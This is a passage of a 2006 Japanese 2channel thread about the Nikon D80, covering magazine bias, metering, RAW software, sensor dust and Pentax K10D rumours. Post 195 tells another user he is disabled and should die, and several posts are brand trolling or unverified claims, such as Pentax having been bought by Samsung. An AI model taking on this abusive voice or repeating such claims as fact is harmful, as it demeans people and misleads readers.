しかし写真のセンスが悪いとか言うなよ(´д`;)


133 :名無CCDさん@画素いっぱい:2006/09/21(木) 11:29:45 ID:tnPM8OBK0
>>131

俺はもう買ってない。>デジカメマガジン

みんなは何買ってんの? カメラ雑誌。


134 :名無CCDさん@画素いっぱい:2006/09/21(木) 11:31:45 ID:k12iAAPk0
>>133
おれ、買ってるよ。
ウンコするときに、便所に持ち込んで読んでる。
創刊から買ってるが、最近ほんと内容が薄くなったと思うよ。


135 :ホワイト ◆KosbZRC5sc :2006/09/21(木) 11:32:40 ID:NhZ0Vm9g0
>みんなは何買ってんの? カメラ雑誌。

カメラ雑誌は立ち読みに限る

136 :名無CCDさん@画素いっぱい:2006/09/21(木) 11:33:20 ID:tnPM8OBK0
>>134

なるほど。 創刊から買ってるとなかなかやめられないよなw
ウンコ用っつーのが笑えるww


137 :名無CCDさん@画素いっぱい:2006/09/21(木) 11:36:36 ID:2s72lrpB0
ところで、デジカメマガジンにはD80の何がダメって書いてあるの?

138 :名無CCDさん@画素いっぱい:2006/09/21(木) 11:37:16 ID:tnPM8OBK0
>>135

「カメラマン」て面白くね? 俺毎月買ってるけど。


139 :名無CCDさん@画素いっぱい:2006/09/21(木) 11:42:39 ID:S7a0whWEO
>>137
KDNとα100に比べ解像度がないや白飛びするや色が不自然とか。
唯一ファインダーは誉めてるw

140 :名無CCDさん@画素いっぱい:2006/09/21(木) 11:48:10 ID:S7a0whWEO
カメラ雑誌のオナニー状態投稿写真を見るのはとても参考になる。

141 :名無CCDさん@画素いっぱい:2006/09/21(木) 11:49:15 ID:tnPM8OBK0

キヤノネッツの正体はデジカメマガジン編集者かもなww


142 :名無CCDさん@画素いっぱい:2006/09/21(木) 11:50:46 ID:2s72lrpB0
>>139
サンクス。
全てレンズや設定・補正で解決する事ばかりなのね。

143 :ホワイト ◆KosbZRC5sc :2006/09/21(木) 11:50:48 ID:NhZ0Vm9g0
>>138
女の子いっぱいの雑誌?

>>139
キヤノネットと同じ論法だww

144 :名無CCDさん@画素いっぱい:2006/09/21(木) 11:50:55 ID:k12iAAPk0
先月号のD80の綴じ込み付録、カメラ屋に山積みしてあったな。
Nikonも、あの月はかなりDCMにお布施したんだろうなw

145 :名無CCDさん@画素いっぱい:2006/09/21(木) 11:51:36 ID:k12iAAPk0
「カメラマン」「CAPA」は見てて恥ずかしくなるから見ない。

146 :名無CCDさん@画素いっぱい:2006/09/21(木) 11:55:13 ID:tnPM8OBK0
>>145

結構、かゆいところに手が届くような記事もあるんだけどねw


147 :名無CCDさん@画素いっぱい:2006/09/21(木) 11:58:53 ID:S7a0whWEO
>>142
その通りっ!(児玉清風にw)

148 :名無CCDさん@画素いっぱい:2006/09/21(木) 12:08:04 ID:RODtM+y/O
キヤノンが負けそうになると、ルールを変えるデジカメマガジンですよ。
以前、お買い得対決でD50を使わずにD70sと比べてKissDNを勝ちにしてた。
今回は手ブレ補正の評価でVRUの18-200を無視。キヤノンの方が沢山あるからいいんだとよ。
使用レンズもバラバラで(18-55、18-135、18-70)とにかく、まともに比較するつもりがないらしい。
総合評価のグラフに、安心感だとか親しみやすさとか、変な項目入れてKissDX勝ってる。
α100の高感度が悪いのを実証してるが、総合画質評価はD80と同点。
王者キヤノンに他社が迫るって閉め。

149 :名無CCDさん@画素いっぱい:2006/09/21(木) 12:12:09 ID:g1Ov8GaN0
そういう信頼するに足りない(と思う)雑誌はヌルーが一番
>>138
漏れも月カメ愛読してる、最近は
おねーちゃんがイパーイで嬉しいw

150 :名無CCDさん@画素いっぱい:2006/09/21(木) 12:12:11 ID:RODtM+y/O
あと、俺は身長171cmだがKissDXを持つと小指が余るのに、誌面の170cmの手はしっかりグリップしてた。

151 :名無CCDさん@画素いっぱい:2006/09/21(木) 12:20:36 ID:k12iAAPk0
>>149
おねーちゃんイパーイってのが恥ずかしいな。
昔のボム(古!)見てるみたいでさw

152 :名無CCDさん@画素いっぱい:2006/09/21(木) 12:25:14 ID:odKRfbtw0
おねーちゃんオパーイ

に見えた

153 :名無CCDさん@画素いっぱい:2006/09/21(木) 12:29:02 ID:S7a0whWEO
俺はプチエロ雑誌GOROの付録水着ポスターを週刊FMステーションの間に入れて買ってたw

154 :名無CCDさん@画素いっぱい:2006/09/21(木) 12:52:25 ID:WyTI1KPA0
月カメがいちばんまともだと思う。

155 :名無CCDさん@画素いっぱい:2006/09/21(木) 13:51:07 ID:+Qh72lBG0
ゲーマーがゲーム雑誌を語り、アニメファンがアニメ雑誌を語るように、
カメラオタクがカメラ雑誌について語ってる。

156 :名無CCDさん@画素いっぱい:2006/09/21(木) 14:01:15 ID:fv+wV4wf0
>>152
意味は同じです

157 :名無CCDさん@画素いっぱい:2006/09/21(木) 14:03:27 ID:S7a0whWEO
>>155
なに普通のこと書いてんの?( ゜д゜)ポカーン

158 :名無CCDさん@画素いっぱい:2006/09/21(木) 14:09:30 ID:WTZ7P+8x0
さて、そろそろ今日も湧くのかな?w

159 :名無CCDさん@画素いっぱい:2006/09/21(木) 14:12:11 ID:jOvN7eU20
雑誌にウマいこと洗脳されウマいこと誘導されるのが普通だもんね。

160 :名無CCDさん@画素いっぱい:2006/09/21(木) 14:30:25 ID:2SyTWrNJ0
しかし雑誌の力っつうのはでかいよ、、
近所のおっさんデジカメ買いたいっつってたから、ニコンを勧めていたら、
結局本屋で雑誌を見て、KDX買った、、、_| ̄|○
そういうもんなんだろうと、、、

161 :名無CCDさん@画素いっぱい:2006/09/21(木) 14:31:17 ID:txPIqhVi0
2ちゃんに洗脳されるのもどうかと・・・

162 :名無CCDさん@画素いっぱい:2006/09/21(木) 14:34:14 ID:TBemglyN0
洗脳から卒業し、自分の頭で考え判断し選択できるようになったら、初心者卒業だ。

163 :名無CCDさん@画素いっぱい:2006/09/21(木) 14:50:33 ID:U3t5RqPC0
社運をかけた大勝負の割りに

「ボディ内手ブレ補正システムなし」
「ダストリダクション機能なし」
「赤カブリ撮ってだしjpeg」
「毎度のISO400以上は実質使えない高感度ノイズ」
「中途半端な性能で高価なRAW現像ソフトNX」
「低機能の割りに他社より高い値付け
「既存ユーザーを全く無視したSD採用、しかもダブルスロットとかの配慮なし」


これで打って出るの?wwwwww どうみても負け戦だろwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

164 :名無CCDさん@画素いっぱい:2006/09/21(木) 14:51:37 ID:U3t5RqPC0
>>160
ニコン買ってもタイに金が流れて国内は空洞化します。
キヤノンは日本国内の工場で製品をつくって日本経済に貢献しています。

165 :名無CCDさん@画素いっぱい:2006/09/21(木) 14:54:26 ID:g1Ov8GaN0
>163
1レス5円乙

166 :名無CCDさん@画素いっぱい:2006/09/21(木) 15:03:52 ID:k12iAAPk0
ID:U3t5RqPC0の書き込み


Nikon Capture・NXすれ その7
http://hobby7.2ch.net/test/read.cgi/dcamera/1153485540/
826 829

Nikon D50 Part22
http://hobby7.2ch.net/test/read.cgi/dcamera/1158106553/
211

AF-S DX VR Nikkor ED 18-200mm F3.5-5.6G Part8
http://hobby7.2ch.net/test/read.cgi/dcamera/1158144658/
127 136

D80 Part.12
http://hobby7.2ch.net/test/read.cgi/dcamera/1158719231/
118 120 163 164


書き込み時間が廃人級w

毎日御苦労だなwwww

167 :名無CCDさん@画素いっぱい:2006/09/21(木) 16:07:25 ID:XLFy8oDBO
調べたあんたも微妙だな。
スルーしとけばいいのに。

168 :名無CCDさん@画素いっぱい:2006/09/21(木) 16:09:32 ID:S7a0whWEO
みんなカメラ片手にカキコが楽しいんだよw

169 :名無CCDさん@画素いっぱい:2006/09/21(木) 16:10:52 ID:cOOUNNtd0
画質革命の前にアリは踏み潰される定めにある
すなわちD80は死骸化最短記録確定

170 :名無CCDさん@画素いっぱい:2006/09/21(木) 16:11:10 ID:pW5mMSfP0
>>167
専ブラだと簡単。

171 :名無CCDさん@画素いっぱい:2006/09/21(木) 16:22:17 ID:S7a0whWEO
>>169
負け犬の遠吠えはよそでやりなw

172 :名無CCDさん@画素いっぱい:2006/09/21(木) 16:25:52 ID:dwZ3DhPR0
>>169
α100の方が・・・(ry

173 :名無CCDさん@画素いっぱい:2006/09/21(木) 16:31:04 ID:RODtM+y/O
>>163
火病メーターは長ければ長いほど正気を失ってると言われてるのに、あえて使うあたり一本筋の通ったバカだな。
それに進歩もしてない。ISO400以上が使えないってのは発売前から主張してるお前の願望だろ。
いいかげん現実みろよ。

174 :名無CCDさん@画素いっぱい:2006/09/21(木) 16:40:37 ID:z0Stf/o60
>>507
いや、当時から中判は16bitRAWなんですよ。(フェーズ・ワンとか)

それをマミヤはあえて12bit化して、一般的なDSLRカメラに近づけた。
これは設計デザインの範疇なんで、良し悪しは一概に言えませんけどね。

175 :名無CCDさん@画素いっぱい:2006/09/21(木) 16:41:55 ID:z0Stf/o60
誤爆。すまみせん。

176 :名無CCDさん@画素いっぱい:2006/09/21(木) 16:48:18 ID:RODtM+y/O
キヤノンのマスコミ工作が晒されたら、すぐ荒らしにくるあたり
熱心だなキヤノネット。その情熱は自分とこの製品に向けろよ。
多機能が好きなら液晶でワンセグが見られるように頼んでみたら?付くかもよ。

177 :名無CCDさん@画素いっぱい:2006/09/21(木) 16:49:51 ID:RODtM+y/O
>>175
誤爆無問題

178 :名無CCDさん@画素いっぱい:2006/09/21(木) 16:50:54 ID:bfJOOTqC0
こんちわ。D80+VR18-200でデジ一デビューしたわけなんだが、
レタッチ、現像、編集とかにソフトは何を使ってるん?

NXの試用版を使ってるんだが、重い。ま、PCスペックが良いわけじゃないので何とも・・・。
で、お勧めソフトはなにさ?

179 :名無CCDさん@画素いっぱい:2006/09/21(木) 16:52:52 ID:dwZ3DhPR0
>>178
NXとフォトショ

180 :名無CCDさん@画素いっぱい:2006/09/21(木) 17:23:56 ID:wYI6HH3y0
今日撮影してるとき、ちょっと露出方式による違いを気にしながらやってみたんだけど、
これ、スポット測光とマルチ測光で同じような結果になることが多いね。
マルチとは言いながら、実際は被写体をある程度見極めて、そこを見せるための露光をするんだろうか。
結果、空は被写体より明るいので簡単に飛んでしまう・・・と。

いろんな撮り方をしてみると、スポットとマルチで全く違う露出になる(こちらとしては予想通りの露出)時もあるんで、
その辺が「不安定」って感じる原因なんじゃないかと思った。
どういった状況でそうなるのかまではわからんかった・・・orz

いずれの場合も明るさは、被写体<背景でやったので、逆の場合まではわからん。

181 :名無CCDさん@画素いっぱい:2006/09/21(木) 17:25:43 ID:wYI6HH3y0
あ、露出方式じゃなくて測光方式 orz

182 :名無CCDさん@画素いっぱい:2006/09/21(木) 17:28:52 ID:WyTI1KPA0
使い方が不安定かと。

183 :名無CCDさん@画素いっぱい:2006/09/21(木) 17:34:17 ID:v+tsUc9T0
ウチは家計が不安定 orz

184 :名無CCDさん@画素いっぱい:2006/09/21(木) 17:38:09 ID:EoUj2a0I0
>>178
 NXがだめならPhotoshopCS2しかないっしょ。
 予算が厳しいなら、SILKYPIX 2.0+PaintShopProPHOTO XIとか。
 メモリ増設も忘れなく。できれば搭載できる最大容量まで。


185 :名無CCDさん@画素いっぱい:2006/09/21(木) 17:38:37 ID:wYI6HH3y0
>>182

ニャンだとぉ!?
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060921173729.jpg

186 :名無CCDさん@画素いっぱい:2006/09/21(木) 17:43:56 ID:WyTI1KPA0
>>178
メモリは2Gあればいけます。
MacProで16Gとかあっても無駄かと。

187 :名無CCDさん@画素いっぱい:2006/09/21(木) 17:44:10 ID:1Dm3ISRU0
>>185
デッビール!!

188 :名無CCDさん@画素いっぱい:2006/09/21(木) 18:15:16 ID:ywb5NtBi0
>>184
Photoshopはまだ対応してない…
サードパーティだとSILKYくらい?

189 :名無CCDさん@画素いっぱい:2006/09/21(木) 18:23:54 ID:ckX7yxCx0
一言言わせろ



NX、高くないだろ




190 :名無CCDさん@画素いっぱい:2006/09/21(木) 19:07:56 ID:3AyX3gbj0
>>180
通常は有り得ないと思われます。どちらもたいして変わらなかったのはどんな被写体ですか?



191 :名無CCDさん@画素いっぱい:2006/09/21(木) 19:25:41 ID:EoUj2a0I0
>>188
 そうでした...m(-.-;)m
 書き換えツールを使う手もあるけど、ファイル管理が煩雑になるし...

 camera raw photoshop nikon d80 で検索したら、Adobe 英語サイトには
 「今秋リリース予定の次のバージョン(3.6)で対応」と書いてありました。

 ttp://www.adobe.com/products/photoshop/cameraraw.html


192 :180:2006/09/21(木) 19:42:34 ID:wYI6HH3y0
最初におかしいって思ったときは、部屋の椅子に向かって何気にシャッターを切ったとき。
椅子の色は黒、背景は窓でした。
電柱(バックは空)、自転車のサドル(黒:バックは家の壁でクリーム色)
ベビーカー(紺:バックは日向の道路)
いずれも被写体の露出は適正でした。

電柱は、空、電柱ともにOKなので差が出なくても正常かも。
サドルとベビーカーは背景が飛びかけていました。

どうでもいい画像だったし、実験した画像は捨ててしまった・・・ごめん orz

193 :名無CCDさん@画素いっぱい:2006/09/21(木) 20:03:11 ID:0WmH0mc40
>>31 です

説明書を理解するのに約一日 試しに撮ってみました

http://uploader.fam.cx/data/21862.jpg

フラッシュなしで撮れることに驚いた

194 :名無CCDさん@画素いっぱい:2006/09/21(木) 20:03:32 ID:U3t5RqPC0
>>192
いいよね素人は糞カメラでも生活に支障がないからwww

195 :名無CCDさん@画素いっぱい:2006/09/21(木) 20:05:36 ID:U3t5RqPC0
>>185
あのさぁ・・・ 猫と電柱しか撮るものないの?www もうここまでくると障害者だなwww 死ねよ

196 :名無CCDさん@画素いっぱい:2006/09/21(木) 20:16:01 ID:c9mrRH4v0
ID:U3t5RqPC0

ご自慢のKD×で撮影したところ、いきなり埃が写りこんでイライラしてるのかな?

197 :名無CCDさん@画素いっぱい:2006/09/21(木) 21:17:39 ID:ZUsVuHGf0
今日、本屋で立ち読みしていたら、D80について、
3人(だったと思う)のカメラマンが座談会をしている記事がありました。
その中で「D80は使っているうちに良さがわかるカメラです」という発言がありました。
じゃあ、「(一見良さそうでも)使っているうちに良くないと思えてくるカメラがあるんだ、
一体どのカメラのことだろう・・・」と考えてしまいました。

198 :名無CCDさん@画素いっぱい:2006/09/21(木) 21:27:43 ID:iSXbzKhF0
>>197
たぶんCでしょ。前にデー20を使ってたけど1ヶ月で嫌になりました。何の愛着も持てず、以来Nを使ってます。
特にフィルムスキャナーをやめたのが許せません。

199 :34:2006/09/21(木) 21:40:55 ID:LLM+etZ80
>>115
ですね、200mmくらいまでに留めておけば、中古で\4k程度の割には良いですが。

で、またもや電柱・・・
http://dc-ita.dyndns.tv/cgi-bin/digitalcamera/imgboard/img-box/img20060921213747.jpg (1016KB)
シグマ180/3.5マクロ(非DG)

200 :名無CCDさん@画素いっぱい:2006/09/21(木) 21:43:02 ID:m4OPUM+30
>>198
>特にフィルムスキャナーをやめたのが許せません。

よくよく考えてみれば、Cにフィルムスキャナーって無いよね??
今だ銀塩カメラも売っているのに…

201 :名無CCDさん@画素いっぱい:2006/09/21(木) 21:51:16 ID:7e7i4XZS0
ビックカメラのちらしによると
KissX  ゴミが気になる人
α100 手ぶれが気になる人
D80   とにかく高級品が欲しい人

だとさ


202 :名無CCDさん@画素いっぱい:2006/09/21(木) 21:55:59 ID:nEQYtNsa0
>>197
他のカメラは、「使い始めてスグに良さが分かるカメラ」
なのかもしれんだろ。

203 :名無CCDさん@画素いっぱい:2006/09/21(木) 22:02:28 ID:iHWbOCpe0
>>185
他に猫撮ってない?もっと貼って

204 :名無CCDさん@画素いっぱい:2006/09/21(木) 22:06:34 ID:h5QlFUy80
ごみを気にしてキヤノン買うくらいなら
檻で1セット組みますよ。
あD80は、買って最初の撮影からごみ浮きましたw
が、ぶろあー一吹きで解決。無問題。

205 :名無CCDさん@画素いっぱい:2006/09/21(木) 22:38:55 ID:BHT+uHMz0
http://dc.watch.impress.co.jp/cda/review/2006/09/01/4521.html
同じ場所で撮ってきた
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060921222954.jpg
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060921223152.jpg

http://dc.watch.impress.co.jp/cda/dslr/2006/08/28/4486.html
Kiss
http://dc.watch.impress.co.jp/cda/review/2006/06/11/3977.html
α

206 :名無CCDさん@画素いっぱい :2006/09/21(木) 23:22:23 ID:Op08TiEO0
>>205
DC Watchよりうまく撮れてるね。

207 :名無CCDさん@画素いっぱい:2006/09/22(金) 01:26:43 ID:bPN0c8GE0
>>203
公開してないやつがあまり無いんで・・・
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060922012227.jpg
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060922012305.jpg
同じ猫だけど。

>>194-195
やべー死にたくなってきた

208 :762 ◆8udsPUAZG2 :2006/09/22(金) 02:50:31 ID:KyD5aWi30
ヌコいい


209 :名無CCDさん@画素いっぱい:2006/09/22(金) 03:55:13 ID:wCxN5n9D0
お台場行ってきたぞい。
http://sakuratan.ddo.jp/uploader/source/date22600.jpg

210 :名無CCDさん@画素いっぱい:2006/09/22(金) 07:51:09 ID:zqGKQgswO
猫撮りって自分ちの猫か?


211 :名無CCDさん@画素いっぱい:2006/09/22(金) 09:09:30 ID:Rwi4D6HW0
>>199
なんか卑猥だなw

212 :名無CCDさん@画素いっぱい:2006/09/22(金) 09:21:45 ID:DQ4Y7bwd0
>>205
おーどこやらのサンプルより遙かにええなー。

乙でした。

213 :名無CCDさん@画素いっぱい:2006/09/22(金) 09:53:30 ID:kJoHBrWa0
しかし頑張るよなあペンタ
これでソニーも頑張って大型素子に参入すればキヤノン、ソニー、ペンタで三つ巴
おもしろくなるだろうな
独自の技術を磨いてるフジ、シグマも加わってユーザーとしては楽しみ


そういえば橋にも棒にもかからないのも三つ巴でつね
オリ、パナそしてニコンの

214 :名無CCDさん@画素いっぱい:2006/09/22(金) 10:05:58 ID:Hpw7Q0Gw0
>>213
ところで、K10Dのウリとして、、、。
「K10Dはデジタルカメラ最高レベルとなる22ビット(420万階調)処理を採用しました。
一般的な12ビット(4096階調)処理に対して、1024倍もの画像情報が得られます。」
↑ってどれほど凄いことなのだ?

215 :名無CCDさん@画素いっぱい:2006/09/22(金) 10:08:43 ID:CGecKyp50
K10Dのサンプルってまだ出てないし、、
どうにも判断しかねるんじゃ、、

216 :名無CCDさん@画素いっぱい:2006/09/22(金) 10:09:07 ID:9/HzyQco0
発売一ヶ月前になって正式な仕様が確定してないなんて
(アッチのスレでグダグダ云ってる、レリーズタイムラグの件とか)
余程追い詰められているとしか言えないよな、普通

217 :名無CCDさん@画素いっぱい:2006/09/22(金) 10:10:09 ID:pe8ycdNi0
>>214
リンカーンでやってた巨大ぺヤングみたいな感じです。

218 :名無CCDさん@画素いっぱい:2006/09/22(金) 10:12:42 ID:LqcfEX+C0
まあ、フィルムはフラットベッドで十分取り込めるのだがな

219 :名無CCDさん@画素いっぱい:2006/09/22(金) 10:14:08 ID:zqGKQgswO
ところてんもw

220 :名無CCDさん@画素いっぱい:2006/09/22(金) 10:14:27 ID:2LUEXZDy0
追い詰められてるのは果たしてどっちかな
画質革命がくるよ
後になって泣いても許さないよ

221 :名無CCDさん@画素いっぱい:2006/09/22(金) 10:18:42 ID:9/HzyQco0
「画質革命」って、「人間革命」と同じくらい無(ry

222 :名無CCDさん@画素いっぱい:2006/09/22(金) 10:26:34 ID:2LUEXZDy0
まあペンタユーザーは人間が出来てるから、画質革命の後、吹き出しそうなD80の画像見てもスレ荒らしたりしないから
そこはそっちも頼むよ、約束な
放置プレイで、通夜の雰囲気をしみじみ感じてくれ

223 :名無CCDさん@画素いっぱい:2006/09/22(金) 10:39:02 ID:LqcfEX+C0
皆さんやはりD80が脅威なのですね

224 :名無CCDさん@画素いっぱい:2006/09/22(金) 11:36:08 ID:WrLnHleL0
あんまり欲しくないかもよ。D200も値段下がってきてるし。

225 :名無CCDさん@画素いっぱい:2006/09/22(金) 11:39:40 ID:I9dLeIpF0
>>224
D80も下がってきてるよ。

226 :名無CCDさん@画素いっぱい:2006/09/22(金) 12:55:53 ID:bPN0c8GE0
K10Dがびっくりするぐらい凄い方がうれしいな。
それに触発されたD200sがもっと凄くなれば尚ヨシ
それまでD80で頑張るよ。普通にいいカメラだと思うし。

>>210
猫撮りメインじゃないし、自分ちの猫でもないす。

227 :名無CCDさん@画素いっぱい:2006/09/22(金) 14:16:10 ID:KYCCd8Lz0
K10Dが滑ったら、ペンタは間違いなく、
コニカミノルタの後を追うだろうな〜

買収するメーカーはあるのだろうか・・・

228 :名無CCDさん@画素いっぱい:2006/09/22(金) 14:30:14 ID:RXmxh7oX0
K10Dは絶対に滑らないよ。
http://www.samsungcamera.com/press/press_news_view.asp?ynews_uid=120
暴力団より頼もしいバックがついてるからね。

229 :名無CCDさん@画素いっぱい:2006/09/22(金) 14:31:19 ID:AqRm2eqR0
>>214
ペンタはニューコアテクロノジーの新AFEが22bitADを使っている。(公開された写真から推測)
D80も同じものか1世代前のAFEとを使っているとの『噂』なので、似たような傾向だと思うよ。

新 NDX2240  22bitAD  16/14/12bit出力  プレγ補正による白飛びの強化
旧 NDX1260  8bitPGA+16bitAD  12bit出力

22bit=420万階調
16bit=6万5千階調
12bit=4096階調


・どちらのAFEもニコンの「各信号レベルで最適化後A/D変換」の機能あり。
・このAFEと組み合わせる画像処理チップには、新・旧共に「スライドショー」機能を追加出来る。
・新型の画像処理チップはカメラ内の編集機能等が豊富。

正直、D80の中身が16bitでも22bitでも大きな影響は無い。
追加された羨ましい機能はγ補正テーブル。

どちらにせよ、D200後継機はK10Dと同じチップが搭載されるでしょ。

230 :名無CCDさん@画素いっぱい:2006/09/22(金) 14:41:24 ID:4SR/Hmn80
>>227
既にペンタックスが三星に買収されてるという事実を知らないの?
ここ最近の猛進撃は全て三星の市場侵略計画によるもの。
あの勢いはキャノンでも止められない。

231 :227:2006/09/22(金) 14:51:55 ID:KYCCd8Lz0
勉強になりマスタ

232 :名無CCDさん@画素いっぱい:2006/09/22(金) 14:56:54 ID:RXmxh7oX0
数年後、日本国内でもデジカメ造ってるのはキャノンとペンタックス(サムソン)だけかもな。

233 :名無CCDさん@画素いっぱい:2006/09/22(金) 15:06:56 ID:KYCCd8Lz0
三菱系列も、しぶといよ〜

234 :名無CCDさん@画素いっぱい:2006/09/22(金) 15:26:23 ID:RXmxh7oX0
といっても三菱系列からニコンに金が流れるわけじゃないからなぁ。
不採算となれば切り捨てられてしまうのがオチ。
それに比べて確実にサムソンから金で支えられてるペンタックスは強いよなぁ。
ここに来てマウント変えてまで超音波モーターレンズ乗せてくるなんて素直にスゲーと思った。

235 :名無CCDさん@画素いっぱい:2006/09/22(金) 15:43:04 ID:oFRsFFLN0
>>230
捏造イクナイ!! (-A-)

236 :名無CCDさん@画素いっぱい:2006/09/22(金) 15:55:10 ID:kyn57Ulq0
ペンタヲタ、もうなんでもありなんだなw
そういえば、レンズもトキナーと組まなければマトモなもの作れないみたいだし
自力で作るレンズは、ヲタしか喜ばない変態レンズばっかりだし

・・・舞い上がってるのは理解するが、もう少し冷静になれば?

237 :名無CCDさん@画素いっぱい:2006/09/22(金) 16:44:47 ID:sw5SMFb60
実際三星に援助交際してもらう前のペンタックスは今にも撤退しそうな干乾び状態だったのに
今や水を得た魚以上にピチピチだもんなぁ。
世界企業である三星のパワーを実感できる。

238 :名無CCDさん@画素いっぱい:2006/09/22(金) 17:00:03 ID:qhY2TFb70
↓ここからD80の話題

239 :名無CCDさん@画素いっぱい:2006/09/22(金) 17:02:54 ID:aHTgDRgj0
│↑
└┘
おらっしゃあぁぁ!!!
 ∩∧ ∧
 ヽ( ゚Д゚)
   \⊂\
    O-、 )〜
      ∪

240 :名無CCDさん@画素いっぱい:2006/09/22(金) 18:35:26 ID:FRzFB3e60
レンズをどっちにしたらいいのか悩む…

241 :名無CCDさん@画素いっぱい:2006/09/22(金) 18:35:30 ID:e6JuLzL80
ここはK10D板ですかそうですか

242 :名無CCDさん@画素いっぱい:2006/09/22(金) 20:24:13 ID:Obw4gIuI0
>>240
将来、55-200や70-300やVR18-200を買うつもりが無いなら18-135キット。
それ以外は18-70キット。
今は18-135キットは品薄で割高。

243 :名無CCDさん@画素いっぱい:2006/09/22(金) 20:32:47 ID:Obw4gIuI0
激安通販の場合、18-70キットと18-135キットの差額で70-300の安い方が買えてしまう。

244 :名無CCDさん@画素いっぱい:2006/09/22(金) 20:53:01 ID:IWV9PXcb0
今度D80のイベントがあるので、覗きに行こうと思ってる。
SDカード持参すればデータ持ち帰ることができるそうだけど、
自分のカメラ持ち込んで撮影はNGなのかな。
普段撮ってるカメラと同じ環境で撮り比べられたら、
D80のいいとこも悪いとこも分かりやすいんだが。

245 :名無CCDさん@画素いっぱい:2006/09/22(金) 20:59:31 ID:kFpZfHhK0
大丈夫じゃない
六本木ヒルズのイベント行ったけど撮ってた人いた

246 :名無CCDさん@画素いっぱい:2006/09/22(金) 21:28:53 ID:5VQM17fa0
イベント逝ったら参加者の年齢層を調べてきてくれ。

247 :名無CCDさん@画素いっぱい:2006/09/22(金) 21:38:11 ID:wK5v5WoQ0
ばかじゃね

248 :名無CCDさん@画素いっぱい:2006/09/22(金) 21:38:57 ID:iEBUz4Q30
>>104
遅れてスマンが消えてるようだ
もう一度up お願いします

249 :名無CCDさん@画素いっぱい:2006/09/22(金) 21:50:55 ID:EXNA48250
今日CCDにゴミがついているかチェックしたんだが、F32にまで絞って空を撮影したら
結構ついていた。でも大抵のレンズでもっとも解像度が高くなるF8くらいだとどこにゴミがあるのか
全くわからない。D70だとF5.6くらいで気になり出していたんだが、これはどういう風の吹き回しなんざんしょ。
それ以上絞るとレンズの解像度は失われ始めるから、ゴミが少しくらいついてても無問題ということ
した。

250 :名無CCDさん@画素いっぱい:2006/09/22(金) 21:57:30 ID:kFpZfHhK0
CCDからローパス離してゴミが目立たなくしたとか
後ゴミが付かないように静電気防止もしたらしい

251 :名無CCDさん@画素いっぱい:2006/09/22(金) 21:58:30 ID:xLQzVArg0
>>249
D200以降はごみ目立ちにくくなってるよ

252 :名無CCDさん@画素いっぱい:2006/09/22(金) 22:03:17 ID:kFpZfHhK0
つーかCCDのゴミ気にしてブロアー掛けすぎるのも良くない気がしてきた
細かい塵、ゴミが巻き上がって今度はファインダースクリーンに付く
俺のは小さい黒い点が見えるよ。かなり小さいけど

253 :名無CCDさん@画素いっぱい:2006/09/22(金) 22:12:08 ID:EXNA48250
ただ、ごみ取りに関して、SCが遠いのだけがチトつらいよね、、
クリーニングキットはちょっと敷居が高そうだし、、
近所のキタムラあたりでやってくれれば一番有り難いんだけど、、

254 :名無CCDさん@画素いっぱい:2006/09/22(金) 22:21:32 ID:kFpZfHhK0
確かに
2000円くらいでやってくれないかな

255 :名無CCDさん@画素いっぱい:2006/09/22(金) 22:24:24 ID:EXNA48250
>>104
の映像でノイズをAfterEffect上で除去したヤシができあがった。

http://079.info/079_26477.avi.html

パスとフォーマットは>>104の通り、でも長時間ノイズの赤い点が消えてない、、
AF上で消したと思ったのにな、、、_| ̄|○やりかた間違えたかな、、
で感想は、やっぱD80は良いわ、、高感度ノイズはソフト的にある程度除去できるし、
高感度でもシャープさがあるから、本来であればノイズとして消えている星もソフト上で
ノイズ処理した後でもかなり残る。数年前にデジカメを買った時には映像で天の川なんて
撮れるようになるのは何時の日やらと思っていたが、こんなに早くくるとは、、

256 :名無CCDさん@画素いっぱい:2006/09/22(金) 22:35:40 ID:L0/EgS890
>>252
そう。神経症的に気にするタイプの人が吹きまくってかえって悪化させる悪循環に陥るのが最悪。
ファインダースクリーン上のゴミを気にするのも良くない。
なるべく空気が綺麗な場所でミラーボックス内から「吹き落とす」ようにすれば割と大丈夫だけど。

257 :名無CCDさん@画素いっぱい:2006/09/22(金) 22:40:34 ID:L0/EgS890
>>253-254
専門の要員を確保するだけで相当にかかるはずでだし、万一傷を付けた場合にまるで合わないから
どこも引き受けないんじゃない。
サービスセンターなら、トラブルのときも自分のところで保障修理できるし、頻度が高いから
専門員もおいておく意味があるだろうし。というか、年がら年中1日中フル操業?!

258 :名無CCDさん@画素いっぱい:2006/09/22(金) 22:42:35 ID:tU28ZcNL0
>>255
オレにとっては最高のタイミングでのうpだー!

昨晩は夜勤でこのスレ携帯でチェックしていて>>104のカキコ見てワクテカ状態になってしまい
今日帰ったら見ようと思っていたのに、
さっきリンク先のぞいたらすでにうpされてたファイル流れてて、ウワーン状態だった。
ほんでこのスレ戻ってみるとノイズ除去したのがうpされてるし、もー最高!

>>255あんた、スゴイッス!

259 :名無CCDさん@画素いっぱい:2006/09/22(金) 22:44:25 ID:iEBUz4Q30
>>255
今度は見れたThx

RAPって1万ほどのソフトでほぼ完全に消せるよ
天体屋さんご用達ソフト

さてと今夜は晴れたのでこれから出かけてきま

260 :名無CCDさん@画素いっぱい:2006/09/22(金) 22:55:30 ID:EXNA48250
>>259
おぉ、そんなソフトがあるですか!バッチ処理はできるんだろうか、、、?
おいら天体屋じゃないんで、知らんかった、、今度調べてみます。ありがとです。

261 :名無CCDさん@画素いっぱい:2006/09/22(金) 23:12:55 ID:YnOWskj10
この画って前に誰かがうぷしてくれたけど縞々が気になるね。

http://dc-ita.dyndns.tv/cgi-bin/digitalcamera/imgboard/img-box/img20060916084210.jpg

262 :名無CCDさん@画素いっぱい:2006/09/22(金) 23:32:26 ID:WTCjGmLO0
天体って、土田舎いかないととれないからなぁ、
大変な商売だなっ

263 :名無CCDさん@画素いっぱい:2006/09/22(金) 23:55:14 ID:UaCeOrvj0
もはや勝敗は決した
画質革命の前に以前の玩具はすべての価値を失うであろう
まだ間に合う
玩具を離し、画質革命に備えよ

264 :名無CCDさん@画素いっぱい:2006/09/22(金) 23:59:04 ID:GFURYwc80
